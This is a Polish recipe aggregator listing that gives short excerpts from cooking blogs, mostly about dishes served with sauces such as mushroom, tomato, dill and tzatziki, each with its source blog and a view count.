papierem. Marchewkę obrać, umyć i zetrzeć na dużych oczkach tarki. Podzielić na cztery części i ułożyć na kotletach. Cebulę pokroić w piórka i ułożyć na marchewce. Kotlety polać wybranym sosem. Ser pokroić w cienkie paseczki i ułożyć na kotletach. Wstawić do piekarnika nagrzanego do 180 st. na około 40 minut. Podawać z ulubionymi dodatkami

W poszukiwaniu inspiracji
Grillowane żeberka 233

weekendowego grilla polecam pyszne grillowane żeberka. Doskonale smakują z keczupem lub sosem pomidorowym. Każdemu będą smakować.  SKŁADNIKI: 1 kg żeberek wieprzowych, 100 ml oleju, ½ łyżki papryki słodkiej mielonej, 1/2 łyżeczki czosnku granulowanego, 2 łyżeczki przyprawy Smoky Grill Bar ze sklepu SKWORCU , 1,5 łyżeczki pieprzu mielonego, sól. PRZYGOTOWANIE: Żeberka kroję na porcje. Wkładam do garnka, zalewam wodą, solę

Tradycyjna kuchnia Kasi
Granat w kurniku 202

patelnię, oczywiście bez kości ;) Całość jeszcze chwilę podgrzewamy. Mąkę orkiszową rozrabiamy z niewielką ilością wody i dodajemy do gotującego się mięsa z płynem z duszenia i energicznie mieszamy, aby sos stał się gładki. Podajemy z makaronem, ryżem, kaszą, bądź ziemniakami, jak kto lubi. Skomentuj

MamaOskarka
Medaliony wołowe z sosem grzybowym i zielonymi warzywami 134

bardziej zielono. I dobrze - bo im bardziej zielono, tym zdrowiej. Na jeden z niedzielnych obiadów przygotowałam ostatnio na "zielonym talerzu" medaliony z polędwicy wołowej z śmietanowym, grzybowym sosem. Obiad jak z restauracji a przyjemność jedzenia nie do opisania

Milion Smaków
Kalmary w panierce idealna przekąska od MyFood 206

dłuższą chwilę, bo olej trzeba rozgrzać na prawdę dobrze ;) Wrzucam po 5 krążków na głęboki olej i smażę do lekkiego zezłocenia. W czasie, kiedy się smażą, przygotowuje szybki sos czosnkowy z małego kubeczka jogurtu naturalnego i jednego ząbka czosnku. Pychota! Panierka jest chrupiąca, a kalmary w środku są bardzo mięciutkie. Nie zrażajcie się do komentarzy typu, że kalmary

MamaOskarka
Łosoś smażony 177

przyrządzam go na parze z ziołami prowansalskimi, ale w życiu wszystkiego trzeba spróbować, więc tym razem równie smaczna wersja smażona :-) Idealnie smakuje ze wczesnymi ziemniakami i sałatą lodową z sosem winegret. SKŁADNIKI 1 duży filet z łososia (ilość wedle uznania) 1/2 cytryny olej do smażenia około 2 łyżki mąki pszennej (np. Wrocławskiej) przyprawy: sól, pieprz cytrynowy, zioła prowansalskie, przyprawa

Passions hobbies life
Pieczeń z pieczarkami 265

Kolejny przepis na domową wędlinkę. Tym razem pieczeń z dodatkiem pieczarek. Można też podać ją na ciepło jako danie obiadowe z sosem i dodatkami jednak ja wolę na zimno jako wędlinkę na kanapki. składniki: 1,3 kg mięsa mielonego z łopatki 2 jajka 5 łyżek bułki tartej małe pieczarki ok 14-16 szt 1 cebula 3 ząbki czosnku 3 łyżki

Monia miesza i gotuje
Jednogarnkowiec z cukinią - minimum pracy i sprzątania 525

tego super pysznie (; Dana ilość wody zostanie wsiąknięta przez makaron a reszta wyparuje więc nie trzeba odsączać. Czyli przepis na makaron razowy z cukinią, brokułem i pieczarkami w sosie śmietanowym z mozzarellą

Pora na pora i pomidora
Sól sosnowa 225

tylko orientacyjne porcje składników.  Sól jest znakomitym dodatkiem do dań wytrawnych i deserów, zwłaszcza tych z gorzką czekoladą.  Szczypta soli sosnowej odmieni p opularne zestawienie szparagi z sosem holenderskim. Znakomita do marynowania mięs i warzyw na grilla.  Możecie ją też dodać do kąpieli relaksacyjnej lub użyć jako piling do ciała :)   Czas przygotowania: 5 minut Składniki

SzczyptaSmaQ
Kolorowa chińszczyzna na ostro 144

światło to nie to samo... Składniki: 2 torebki ryżu 2 marchewki 15 g grzybów Mun 2 papryki czerwone 1 mała cebula 1/2 dużego pora 1/2 kostki rosołowej 2 łyżki sosu sojowego 3 łyżeczki przyprawy do dań chińskich 3 łyżeczki papryki słodkiej mielonej 1 łyżeczka papryki ostrej mielonej 1 płaska łyżeczka przyprawy curry szczypta pieprzu sól olej do smażenia Sposób przygotowania

Kolorowy Przepisownik
Pieczarkowa zupa-krem z grzankami 149

plasterki. Obsypujemy tymiankiem i majerankiem. Dusimy pod przykryciem na rozgrzanym maśle do odparowania wody (co jakiś czas mieszając). Dolewamy 2-3 łyżki wrzątku, dodajemy serek topiony i rozpuszczamy tworząc sos pieczarkowy. Marchewkę myjemy, obieramy i ścieramy na tarce o grubych oczkach. Ryż gotujemy wg przepisu na opakowaniu.  Do garnka wlewamy około 2 litry wody, zagotowujemy wraz z bulionem grzybowym

Kolorowy Przepisownik
Potrawka a'la chińska 165

dorobiłam więc więcej i przesmażyłam na potrawkę - była kolacja na ostro :) bardzo szybka zresztą :) Składniki: 150 g ryżu Arborio 15 g grzybów Mun 1 marchewka 1 por 2 łyżki sosu sojowego 1 łyżeczka curry 1 łyżeczka przyprawy do dań chińskich 1 płaska łyżeczka papryki ostrej mielonej olej do smażenia Sposób przygotowania: Ryż gotujemy na sypko. Grzyby Mun moczymy we wrzątku

Kolorowy Przepisownik
Penne ze szpinakiem, fetą i pomidorem 129

pokrojony w kostkę pomidor i razem smażymy około 3-4 minuty. Dorzucamy pokrojony w kosteczkę ser feta i przyprawiamy pieprzem. Makaron odsączamy na sicie, wykładamy na talerze i polewamy sosem (lub mieszamy w garnku wszystko razem). Smacznego

Kolorowy Przepisownik
Kąski kurczaka w płatkach 141

naturalny, dodajemy przyprawy i dokładnie mieszamy. Odstawiamy na 20 minut. Płatki kukurydziane drobno kruszymy (ja wsypywałam partiami do woreczka i rozbijałam tłuczkiem do mięsa). Kawałki kurczaka wyjmujemy pojedynczo z "sosu", obtaczamy w pokruszonych płatkach i układamy w brytfance wyłożonej papierem do pieczenia. Można skropić odrobiną oliwy z oliwek, ale nie jest to konieczne. Zapiekamy około 50 min. w temperaturze

Kolorowy Przepisownik
Potrawka z kurczaka z kuskusem i warzywami 175

mięsa z rosołu - wtedy to już ugotuje się ekspresowo :) wtedy też stanie się daniem jednogarnkowym :) może być samodzielną potrawą, jak również świetnym dodatkiem do ziemniaków jeśli je polejemy jak sosem :) Podana w przepisie ilość soli i pieprzu jest niewielka, ponieważ potrawkę podałam też dziecku na obiad - zachęcam do dostosowania ilości przypraw do własnego smaku :) Składniki: 1 podwójna pierś z kurczaka

Kolorowy Przepisownik
Kasza jęczmienna z kurczakiem i warzywami 202

ugotować w lekko osolonym wrzątku. 3. Kaszę ugotować w lekko osolonym wrzątku, ewentualnie z dodatkiem suszonych grzybków. 4. Kaszę połączyć z mięsem i warzywami. Można podawać samodzielnie lub z sosem, np. pieczarkowym. Smacznego

Kuchnia domowa Ani
Bakłażan po florencku 210

Pyszna i lekka zapiekanka z bakłażana, mozzarelli i parmezanu z sosem pomidorowym. Uwaga: bakłażan, nazywany również psianką podłużną lub gruszką miłosną uważany jest za afrodyzjak

Milion Smaków
Kurczak panierowany a'la KFC 150

Proste, nie wymagające finezji i fantastyczne w smaku. Można podawać na wiele różnych sposobów - z puree ziemniaczanym i brokułami jak tutaj lub pokrojone w niewielkie podłużne kawałki podawane z sosami do maczania (niezawodna opcja na niewielką domówkę). Świetnie smakuje też na zimno np. w kanapce

Milion Smaków
Gyros z baraniny 134

może coś z kuchni greckiej? Pyszny gyros z baraniny z sosem czosnkowym i pieczonymi ziemniakami na pewno przypadnie Wam do gustu

Milion Smaków
Sos czosnkowy z oliwy 91

Prosty i lekki sos czosnkowy służący jako dodatek do innych dań

Milion Smaków
Jajka po szkocku 139

Idealne na przekąskę, śniadanie czy danie do przegryzania na imprezę. Smakują przysznie na ciepło oraz na zimno. Najlepiej podawać z sosem tatarskim

Milion Smaków
Letnia sałatka z fasolką, cukinią i sosem cezara 128

Sałatka na bazie grillowanej piersi kurczaka z miksem letnich warzyw: sałatą, fasolką szparagową i grillowaną cukinią. Dopełnieniem całości jest przepyszny sos cezara o wyrazistym parmezanowo-musztardowym smaku. Podajemy z świeżą bagietką lub grzankami

Milion Smaków
Mussaka 159

Mussaka czyli grecka zapiekanka z bakłażanów z dodatkiem ziemniaków, mięsa mielonego i pomidorów pod sosem śmietanowo-serowym. Przepis pochodzi z książeczki kucharskiej Tupperware

Milion Smaków
Pizza razowa z kurkami 186

Pyszny jesienny smak kurek zatopionych w mozzarelli z sosem pomidorowym na bazie pełnoziarnistego ciasto. Mój hit wśród wczesnojesiennych smaków

Milion Smaków
Pulpety z indyka w sosie pomidorowym 166

Pulpety mielone, ale trochę inaczej. Tradycyjne mięso wieprzowe zastępujemy tu indyczym, a smażenie duszeniem w sosie ze świeżych pomidorów z dodatkiem warzyw. Jest to moja wersja przepisu Nigelli Lawson

Milion Smaków
Pierś kaczki w balsamicznym sosie 111

cierpliwości. A potem sporo dłubania przy jedzeniu :) Dla tych mniej wytrwałych ale równie wymagających poniżej łatwiejsza do przygotowania opcja alternatywna - pierś kaczki podpieczona a następnie duszona w słodkim balsamicznym sosie. Mięso jest lekko różowe, mięciutkie i dosłownie rozpływa się w ustach. Danie efektowne i do tego niewspółmiernie łatwe do przygotowania. Naprawdę warto wypróbować

Milion Smaków
Sos koperkowy 125

Bardzo prosty do przygotowania sos koperkowy - pasuje nie tylko do różnych dań na bazie ryżu ale również do klopsów czy kotletów sojowych

Milion Smaków
Potrawka z kurczaka 174

kategorii potrawka z kurczaka jest moim faworytem. Pierś z kurczaka w połączeniu z kolorowymi paprykami i cebulą z dodatkiem boczku podaję z naturalnym, brązowym ryżem i koperkowym sosem

Milion Smaków
Sałatka South Beach z tuńczykiem 135

wielką miłośniczką sałatek ale mam kilka swoich ulubionych. Zdecydowanie preferuję te kolorowe, z dużą ilością warzyw i jednocześnie sycące. W poniższym przepisie sycącym składnikiem jest tuńczyk z puszki w sosie własnym. Do tego miks zdrowych i smacznych warzyw: awokado, rzodkiewka, zielony ogórek, seler naciowy i sałata. Sprawdzi się jako lunch do pracy lub kolacja

Milion Smaków
Makaron z kiełbaskami po niemiecku 182

Nietypowe danie z makaronu spaghetti i frankfurterek. Nitki makaronu przechodząc przez kiełbaski tworzą ciekawą kompozycję wizualną, a smaku dopełnia sos pomidorowy. Jeśli chcemy spróbować czegoś z kuchni niemieckiej to polecam właśnie coś tak nietypowego

Milion Smaków
Kotlety sojowe z pieczarkami i sosem koperkowym 129

czemu możemy zapomnieć o "papierowym" smaku tych z paczki. Jeżeli smak soi jest dla Was za mało wyrazisty wypróbujcie przepis na kotleciki sojowe z pieczarkami z dodatkiem sosu koperkowego. Smakują nawet zagorzałym zwolennikom mięsa :) Uwaga: soję należy namoczyć dzień przed przygotowaniem kotletów

Milion Smaków
Tarta warzywna 93

sezonie na świeże warzywa i owoce można zrobić sycącą tartę z nadzieniem z samych warzyw. Lekko twarde warzywa w sosie serowo-śmietanowym świetnie się komponują z kruchym ciastem tarty

Milion Smaków
Grecki sos jogurtowo-miętowy 106

Połączenie klasycznego smaku sosu jogurtowego z odświeżającym smakiem mięty będzie idealnie pasować do wielu dań. Dobrze komponuje się z mięsami oraz z daniami warzywnymi

Milion Smaków
Makaron z brokułami i boczkiem 151

Poniżej przepis na sprawdzoną mieszankę smaków, która nigdy się nie znudzi - brokuły, boczek, sos śmietanowy i makaron. Co jakiś czas nachodzi mnie ochota na to właśnie połączenie. Polecam wykorzystać kolorowe świderki, które dodadzą daniu kolorystyki

Milion Smaków
Stroganow 131

opcją na małe przyjęcia dla przyjaciół. W oryginalnym przepisie wykorzystuje się wołowinę ale ja stroganowa przygotowuję na bazie łopatki lub karkówki wieprzowej z dużą ilością pieczarek i pysznym, kremowym sosem śmietanowo-pomidorowym. Podawany z świeżym pieczywem wprawi w zachwyt każdego, nawet wybrednego smakosza

Milion Smaków
Gołąbki z kapusty pekińskiej 166

Gołąbki w wersji szybszej, ale nie mniej smacznej niż klasyczne. Zwykła kapusta została zastąpiona pekińską, z którą mieszane jest mięso wraz z dodatkami (bez zawijania). Do tego soczysty sos pomidorowy i obiad gotowy

Milion Smaków
Ryby po grecku 108

Kolejna odsłona ryb, tym razem w gęstym "sosie" z warzyw. Przepis z zeszytu mamy, który od wielu lat gości na naszych stołach w okresie karnawałowym i nie tylko

Milion Smaków
Parówka w szlafroku 140

Pyszna i szybka przekąska. Smakuje dobrze na zimno, ale doskonale na gorąco - świeżo po zrobieniu. Dodatkowym atutem jest to, że takie parówki można maczać w dowolnym sosie lub kilku i w ten sposób wzbogacać smak

Milion Smaków
Lasagne z mozzarellą i suszonymi pomidorami 142

zawsze i wszędzie znajdzie swoich amatorów. Zmieniając poszczególne dodatki można komponować różne jej wersje. Ta z przepisu Pascala Brodnickiego pochodzi z niezawodnej książki wydanej przez Lidla. Mięso mielone w sosie bolońskim, płaty makaronu, mozzarella zapieczona na beszamelu oraz suszone pomidory w aromatycznych ziołach tworzą wyśmienitą, pobudzającą zmysły mieszankę smaku

Milion Smaków
Muszle szpinakowe 189

wielu dodatków. Jeżeli chcecie przygotować obiad, który nie tylko będzie smaczny i zdrowy ale również będzie cieszył oko przygotujcie makaron muszle nadziewany pyszną masą szpinakowo-serową z dodatkiem pomidorowego sosu. Dodatkowym atutem tego dania jest możliwość przygotowania do wcześniej - przed podaniem wystarczy włożyć do piekarnika i chwilę zapiekać

Milion Smaków
Grillowane tortille na dwa smaki 230

zbyt monotonnie przygotowałam dwa różne nadzienia. Pierwsze z delikatną piersią z kurczaka oraz dużą ilością warzyw. Drugie - z kozim serem, szynką i pomidorkami koktajlowymi. Do podania przyda się dobry sos, np. curry lub salsa

Milion Smaków
Pizza razowa Trzy sery 133

Coś dla miłośników serów - pyszna domowa pizza na cieście z mąki pełnoziarnistej z pomidorowym sosem i serami: mozzarellą, rokpolem i camembertem. Składniki pasują do siebie tak idealnie, że ten wariant nigdy Wam się nie znudzi

Milion Smaków
Wołowina curry z woka 117

krótko w wysokiej temperaturze i przy bardzo małej ilości tłuszczu. Dzięki temu w tym daniu wołowina jest miękka a warzywa dla kontrastu są chrupiące ale nie surowe. Smak podkreśla sos sojowy na bazie curry

Milion Smaków
Dip czosnkowy 117

Gęsty sos na bazie sera feta oraz jogurtu i śmietany z dodatkiem czosnku. Idealny do gotowanych lub pieczonych ziemniaczków czy maczania innych warzyw

Milion Smaków
Panierowane naleśniki z indykiem po chorwacku 148

indykiem to lekkie danie współczesnej kuchni chorwackiej która łączy w sobie smaki mięsa i warzyw. W mojej wersji delikatny smak piersi z indyka jest podkreślony przez świeże warzywa i sos śmietanowy

Milion Smaków
Pierś kaczki z żurawiną 158

restauracjach porównując różne sposoby przyrządzenia. Poniżej przepis podpatrzony właśnie w jednej z restauracji zmiksowany z propozycją z lidlowej książki Pascala i Okrasy, czyli pierś z kaczki z dodatkiem sosu z żurawiny i warzyw duszonych w czerwonym winie. Uwaga: mięso smażymy dość krótko - musi być miękkie a nie przesmażone więc bądźcie czujni przy piecu

Milion Smaków
Pierś gęsi w sosie piernikowym 144

warstewką tłuszczu pod skórą. Ten tłuszczyk dodaje dodatkowych walorów smakowych i jest pełen cennych składników (jak na przykład kwas oleinowy) - tak więc najlepiej piersi przyrządzać razem ze skórą. Sos piernikowy podkreśla wyjątkowy smak mięsa i dodaje posmaku, który kojarzy się ze świętami i rozgrzewa

Milion Smaków
Pulpeciki w sosie azjatyckim 127

Pulpeciki z mięsa mielonego w lekko orientalnej odsłonie. Wszystko za sprawą aromatycznego sosu na bazie mleczka kokosowego i przypraw. Jeśli lubicie azjatyckie smaki, to danie z pewnością przypadnie Wam do gustu. Inspiracją był przepis Pascala Brodnickiego

Milion Smaków
Łódeczki z cykorii nadziewane mięsem 263

wyjątkowe danie z mięsa mielonego - może służyć jako przekąska oraz jako pełen obiad. Mięso w sosie pomidorowym efektownie podanie w liściach cykorii zaspokoi apetyt i dostarczy ciekawych wrażeń estetycznych

Milion Smaków
Pieczony dorsz w sosie sojowym z fasolką 150

Dziś propozycja na pyszną kolację dla miłośników ryb i/lub osób dbających o linię. Tak, wiosna tuż tuż więc warto zmniejszyć ilość kalorii w diecie :) Rybę doprawiamy sosem sojowym i ziołami a następnie pieczemy w folii. Jako dodatek fasolka szparagowa - świeża lub mrożona z podsmażoną na złoto cebulką. Proste, smaczne, zdrowe i lekkie

Milion Smaków
Tagliatelle z klopsikami 117

Klopsiki smakują mi w każdej postaci - najbardziej podane w pysznym sosie pomidorowym. Tym razem spróbowałem dodać do nich kilka nietypowych przypraw i składników oraz podać je z makaronem

Milion Smaków
Sos tzatziki 153

grecki sos na bazie ogórka i jogurtu to jeden z najpopularniejszych dodatków do dań z grilla, smażonych czy pieczonych mięs a także wędlin i jajek. Szybki do przygotowania, smaczny i podkreślający smak potraw do których jest dodatkiem

Milion Smaków
Boeuf au bleu - Wołowina w sosie serowym na niebiesko 115

danie z kuchni francuskiej które chciałem zrobić od bardzo dawna. Łączy w sobie zalety idealnego steku i dobrej pieczeni. Mało przypraw pozwala czuć pełen aromat mięsa. Do tego sos z sera z niebieską pleśnią, który doskonale pasuje do mięsa i czerwonego wina

Milion Smaków
Tarta ze szparagami i cukinią 140

najwięcej. Na szczęście można je przygotować na tyle różnych sposobów, że w zasadzie codziennie możemy jeść zupełnie inne danie. Dziś połączenie kruchej tarty, szparagów, cukinii, masy quiche i sosu pomidorowego. Ciekawy eksperyment? Oceńcie sami - jak dla mnie to przerósł oczekiwania

Milion Smaków
Piccata wołowa 138

popularna piccata w USA jest z kurczaka. Dziś prezentuję wersję z wołowiny - plastry jak na stek odpowiednio podsmażone, potem podduszone z jabłkiem i serwowane z warzywami polane wytworzonym wcześniej sosem. Wyszło rewelacyjnie

Milion Smaków
Omlet biszkoptowy z sosem czekoladowym i truskawkami 143

Świetna propozycja na śniadanie - zwłaszcza w sezonie truskawkowym. Puszysty lekko słodki omlet ze świeżymi truskawkami i pysznym sosem z białej czekolady umili każdy, nawet poniedziałkowy, poranek

Milion Smaków
Zupa krem z kalafiora na mleku z sosem truflowym 121

zupę. Tradycyjnie już w moim wykonaniu będzie to krem - prosty i szybki z niewielkiej ilości składników, żeby nie przyćmiły smaku kalafiora. A dla uzyskania ciekawej kompozycji - pesto i sos balsamico z truflami

Milion Smaków
Cannelloni ze świeżymi pomidorami i szpinakiem 132

Makaron rurki z farszem ze świeżych pomidorów, szpinakiem i parmezanem to coś dla miłośników włoskich smaków. Całość polana lekkim sosem jogurtowym tworzy wspaniałą kompozycję na rodzinny obiad

Milion Smaków
Risotto cytrynowo-koperkowe z krewetkami 110

Krewetki możecie podawać na wiele różnych sposobów - klasycznie z masłem i czosnkiem lub z sosem śmietanowym. Przepisy znajdziecie oczywiście na MilionSmakow.pl. Dziś propozycja dania, gdzie krewetki nie dominują smakiem lecz są uzupełnieniem dla cytrynowego risotto. Risotto przygotowujemy tradycyjnie z ryżu arborio gotowanego w białym winie i bulionie. Całość doprawiamy sokiem z cytryny i świeżym koperkiem. Wygląda efektownie a smakuje naprawdę

Milion Smaków
Sałatka z arbuza i sera bałkańskiego 146

Brakuje Wam pomysłu na oryginalną sałatkę do grilla? Wypróbujcie przepis na sałatkę z arbuza, bałkańskiego sera i mięty z dodatkiem sosu balsamiczno-truflowego. Jest bardzo orzeźwiająca i świetnie sprawdzi się w ciepłe dni. Dodatkowo jest łatwa do przygotowania

Milion Smaków
Klasyczny burger BBQ z boczkiem i cebulą 175

Klasyczny w amerykańskim stylu. Burger z dobrej wołowiny, boczek, cebula, sos barbeque a wszystko to w tradycyjnej bułce pszennej z sezamem. Jeśli chcecie zrobić naprawdę klasycznego burgera to właśnie przepis

Milion Smaków
Wołowina po seczuańsku z selerem naciowym 132

rzut oka wydaje się to dziwnym połączeniem. W chińskiej prowincji Seczuan takie zestawienie jest bardzo powszechne a wręcz jest obowiązkowe w menu większości restauracji. Klasyczne przyprawy - jak chilli i sos sojowy dodają orientalnej nuty całej kompozycji

Milion Smaków
Pierś kaczki w sosie grzybowym 158

Danie smaczne, mało kaloryczne i w sam raz na sezon grzybowy. Pieczona pierś kaczki podana w gęstym sosie z grzybów z małym dodatkiem śmietany. Minimum składników by wyeksponować smak i grzybów i mięsa

Milion Smaków
Kanapka z klopsikami a'la Subway 160

Klopsiki to jedno z moich ulubionych dań z mięsa mielonego. Smakują świetnie - a jeszcze lepiej jeśli są zanurzone w sosie pomidorowym Marinara. Wszystko to włożone w chrupiącą bułkę z ulubionymi dodatkami - u mnie z papryczką jalapeno. Dziś przedstawiam wersję uproszczoną - tak, żeby w 20 minut mieć gotową kanapkę na stole

Milion Smaków
Dwukolorowy makaron z świeżymi truflami w śmietanie 191

masła z dodatkiem kilku procent trufli), ale najlepiej smakują świeże w połączeniu z makaronami lub jajkiem. Stąd też taki przepis na naszym blogu - makaron ze świeżą truflą czarną w sosie śmietanowym, z małą ilością przypraw, żeby nie w pełni wyeksponować smak i aromat tego wspaniałego grzyba

Milion Smaków
Grubo tarte placki z kabaczka z boczkiem 124

konsystencję. Jedynymi dodatkami są cebula - dla wzmocnienia smaku i boczek, który idealnie pasuje do placków. W tej wersji można je podawać zarówno ze śmietaną jak i ze swoim ulubionym sosem

Milion Smaków
Pieczony kurczak w warzywnym kuskusie 175

warzyw. Do tego dania możecie też wykorzystać piersi z kurczaka albo mix (uwaga: piersi upieką się dużo szybciej). Mięso doprawiłam i upiekłam w piekarniku polewając od czasu do czasu sosem żeby nie było suche. Całość podałam z kaszą kuskus wymieszaną z świeżymi warzywami i podprażonymi ziarnami słonecznika. Pycha

Milion Smaków
Kluski śląskie z dziurką 119

Tradycja polskiej kuchni - nie tylko śląskiej. Kluski z mąki i ziemniaków z charakterystycznym wglębieniem w którym zbiera się sos, którym polewamy danie. Idealne kluski śląskie opierają się na zachowaniu proporcji składników - nie kleją się wtedy i nie rozpadają w czasie gotowania. Dodatkowym plusem klusek śląskich jest to, że świetnie smakują od razu po zrobienia a także później gdy na przykład

Milion Smaków
Kasza bulgur z warzywami i sosem koperkowym 177

kuchni azjatyckiej, a ostatnio staje się popularna również w naszej rodzimej. Ja postanowiłam wypróbować jej walory w bardzo prostym daniu - dodając mrożony groszek i świeże pomidory w połączeniu z sosem koperkowym. Jest to propozycja na szybki, zdrowy obiad lub kolację - naprawdę nie wymaga wysiłku a końcowy efekt jest bardzo smaczny

Milion Smaków
Zapiekanka z mięsem mielonym 128

wymagają wiele wysiłku a zaskakują smakiem. Ich wielką zaletą jest to, że można prawie w nieskończoność tworzyć nowe kombinacje składników i smaków. Dziś wersja z mięsem mielonym w sosie pomidorowym z dodatkiem sera - klasyka, która za każdym razem smakuje tak samo dobrze

Milion Smaków
Wiatraczki serowo-pomidorowe 144

przygotowaniem tych wiatraczków trochę się napracujecie ale jeżeli macie trochę wolnego czasu - naprawdę warto. Ciasto drożdżowe wzbogacone zostało dodatkiem posiekanej mozzarelli a jako nadzienie wykorzystany został szybki pomidorowy sos i starty parmezan. Uwaga: przepis na dużą, "imprezową" porcję

Milion Smaków
Brukselka smażona z kasztanami i boczkiem 143

jest w stosunku do niej obojętny. Niektórzy ją uwielbiają, niektórzy naprawdę nie lubią jej charakterystycznego smaku. Tym drugim również polecam spróbować tego przepisu. Połączenie brukselki, boczku, kasztanów w sosie z masła i wina daje niespodziewanie ciekawe połączenie smaków, które przypadnie do gustu nawet osobom brukselko sceptycznym. A warto, bo brukselka to prawdziwa skarbnica witamin i minerałów

Milion Smaków
Pierś kaczki w sosie śliwkowym 146

Pierś kaczki w nietypowym, lekko słodkim owocowym sosie. Śliwki podkreślają delikatny smak mięsa a czerwone wino dodaje mu interesującego aromatu

Milion Smaków
Pierś kurczaka w szynce z sosem pieczarkowym 117

naszych talerzach panierowaną, rzadziej w potrawkach. Można ją przygotować na wiele innych sposobów, na przykład zwinąć w szynkę parmeńską, która doda kurczakowi wyraźnego aromatu mięsa oraz podać z sosem pieczarkowym, który potrafi sprawić, że wiele zwykłych dań zyska wyjątkowy smak. Zresztą, spróbujcie sami

Milion Smaków
Pilota 164

pulpety do których jesteśmy przyzwyczajemi, ale składają się z innych składników i tworzą ciekawą strukturę i kompozycję smaków. Doskonale sprawdzą się jako przekąska wystawione na stół w towarzystwie różnych sosów

Milion Smaków
Pieczone frytki z batatów 173

słodki, ale zachowują charakterystyczny smak ziemniaków. Pieczone w piekarniku są lepszą alternatywą dla smażenia w głębokim oleju a smakują bardzo podobnie. Dobrze komponują się z dodatkiem ketchupu albo sosu

Milion Smaków
Wołowina curry z ziemniakami z woka 118

woka robi się szybko, na niewielkiej ilości oleju a wychodzą bardzo delikatne i soczyste. Ja przyrządziłam obiad na bazie polędwicy wołowej z dodatkiem ziemniaków, cebuli i pysznych, odrobinę orientalnych sosów

Milion Smaków
Makaron z kurczakiem Tikka Masala 102

wieczorem obiad do pracy - nie miałam czasu zrobić zakupów więc pozostało mi tylko połączyć to co znajdowało się w lodówce i kuchennych szafkach. Wyszło ciekawe połączenie włosko-indyjskie z sosem Tikka Masala w roli głównej

Milion Smaków
Dorsz w naturalnym sosie 127

taki pojawił się ostatnio niedaleko mojego domu więc teraz często tam zaglądam. Żeby nie było monotonnie staram się urozmaicać sposoby podania ryb. Zakupione ostatnio filety z dorsza ugotowałam w sosie, tzw. naturalnym, z minimum dodatków, co uwydatniło naturalny smak tej pysznej ryby. Danie podałam z drobno pokrojonym ugotowanym jajkiem

Milion Smaków
Zupa rybna 118

dodając paprykę, dymkę i makaron jajeczny. Zupa jest smaczna i pożywna - z powodzeniem może samodzielnie stanowić lekki obiad czy kolację. Miłośnikom ostrej kuchni polecam doprawienie ulubionym ostrym, azjatyckim sosem

Milion Smaków
Cannelloni z soczewicą, kaszą gryczaną i sosem beszamelowym 134

częściej na moim stole. Szukając do czego jeszcze może pasować soczewica poza daniami kuchni azjatyckiej trafiłem na cannelloni. Danie wyszło lepiej niż się spodziewałem - połączenie warzyw i makaronu, oraz sosu beszamelowego daje naprawdę ciekawy efekt

Milion Smaków
McFalafel 113

znajdziemy w środku kotlet z ciecierzycy - czyli falafel właśnie. To co czyni tą kanapkę fast foodowego giganta wyjątkową jest również to, że jej skład jest znany. Zamiast pilnie strzeżonego sosu a'la Big Mac mamy tutaj pastę Tahini. Do tego dołożymy świeże warzywa i otrzymujemy burgera, którego naprawdę warto spróbować i którego nie znajdziemy w restauracjach w naszej części

Milion Smaków
Grecki sos ogórkowo-koperkowy 143

Pachnący wiosną pyszny sos na bazie świeżego ogórka i jogurtu. Smakiem przypomina nieco tzatziki ale zamiast świeżej mięty mamy tutaj koperek. Idealnie pasuje do dań kuchni greckiej oraz wszelkich dań na bazie drobiu i warzyw

Milion Smaków
Stek z polędwicy wołowej na pieczonych szparagach 148

Pyszny soczysty stek z polędwicy wołowej w wersji średnio wysmażonej a jako dopełnienie upieczone na chrupiąco szparagi i mieszanka świezych warzyw z truflowym sosem balsamicznym. Całość tworzy wyjątkowo smacze połączenie, które przypadnie do gustu zarówno miłośnikom doskonałego mięsa jak i chrupiących warzyw

Milion Smaków
Wiosenna surówka z sosem miodowo - musztardowym 119

Surówka, która jest symbolem wiosny. Świeże warzywa, które pojawiają się o tej porze roku i których brakowało nam przez całą zimę oraz delikatny słodko-ostry sos, który podkreśla ich smak. Świetnie się sprawdza jako dodatek do wielu dań

Milion Smaków
Grecka uczta z Pascalem 187

wiele razy widelcem, inaczej Wasz piekarnik, kuchnia, a być może i całe mieszkanie eksploduje… Duże greckie pieczarki podsmażone z przyprawami, zapiekanka ziemniaczana z serem kozim i miętą, polana sosem tzatziki, sałatka z grillowanej cukinii z fetą i wiele pomniejszych pyszności. Jako danie główne wjechały chlebki mięsne – nasze ulubione danie, do którego można dodać, jako urozmaicenie, właściwie wszystko

GRUBY WAŁEK
Tuńczyk z jarmużem i sosem cytrynowo-czosnkowym 183

pieprzycie i wkładacie kawałki tuńczyka. Przykrywacie i trzymacie na wolnym ogniu, aż ryba się zagrzeje. Kiedy się rozgrzeje, wykładacie na talerze z jarmużem makaron, później tuńczyka, na koniec polewacie sosem i posypujecie posiekaną natką z pietruszki lub kolendry. Można pokropić sokiem z cytryny. Do tego koniecznie białe wino! Szybko poszło? To teraz jedzcie powoli i niech Wam będzie dobrze. Click

GRUBY WAŁEK
Pieczone bataty z rozmarynem 161

smacznym zamiennikiem naszego poczciwego ziemniaka. Warzywo pochodzi z Ameryki Południowej, można go jeść po ugotowaniu lub pieczeniu. Dziś zapraszam na pieczone bataty z rozmarynem, podałam je z   sosem jogurtowo-ziołowym . Pieczone bataty z rozmarynem Czas przygotowania: 45 minut Proporcje dla 3 osób Składniki: 3 bataty (ok. 600 g) oliwa  z oliwek gruba sól morska czerwona ostra papryka kilka

Kulinarne przygody Gatity
Surówka z mango, gruszki i awokado 220

następnego dnia bez ryzyka, że ściemnieje. Do soku wyciśniętego z limonki dodać łyżkę oliwy z oliwek, odrobinę soli, szczyptę płatków z suszonych papryczek chilli i rozmieszać. Tak przygotowanym sosem polać surówkę tuż przed podaniem i wymieszać

W SMAK
Tarta z chorizo i rucolą 199

waszych upodobań :). Składniki na ciasto kruche, forma 30x40 cm: 50 dag mąki pszennej 25 dag margaryny 1 jajo 2 łyżki gęstej kwaśnej śmietany  szczypta soli  Dodatki: chorizo sos pomidorowy czosnek w plastrach lub przeciśnięty przez praskę por cebula oliwki  pomidory ser feta słonina lub boczek ser żółty do starcia świeże listki rucoli 1. Ciasto zagniatamy z podanych

Apetyczna babeczka
szparagi zapiekane w naleśniku i sosie beszamelowym 125

Polecam przepis na szparagi zawijane w naleśniku w sosie beszamelowym..Nauczyłam sie tą potrawę gotować będąc w Niemczech

Ugotujmy Coś
Pasta z makreli wędzonej z papryczką chipotle 210

